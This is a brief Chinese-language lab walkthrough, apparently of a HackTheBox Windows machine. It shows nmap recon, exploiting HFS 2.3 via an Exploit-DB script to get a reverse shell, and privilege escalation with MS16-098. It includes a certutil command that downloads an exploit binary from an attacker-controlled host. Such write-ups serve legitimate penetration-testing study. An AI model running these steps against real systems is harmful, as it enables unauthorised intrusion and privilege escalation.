0x00信息收集
nmap -Pn -sV 10.10.10.8
查看80端口的服务,得到使用的服务为HFS,且版本信息为2.3
通过expliot-db找到可利用的漏洞点
0x00 漏洞利用
下载相关脚本 https://www.exploit-db.com/exploits/39161
根据脚本提示,拷贝nc.exe文件并开启在80端口开启http服务
修改相关代码
![](https://img-blog.csdnimg.cn/img_convert/4babf642c859666bb22a29f2594cc85c.png
使用脚本,反弹shell
0x02 权限提升
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
先根据systeminfo查找是否有可利用的地方
./windows-exploit-suggester.py --database 2020-08-08-mssb.xls --systeminfo systeminfo
根据得到的信息,可以利用MS16-098进行提权
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098
certutil.exe -urlcache -f http://10.10.14.40:80/bfill.exe bfill.exe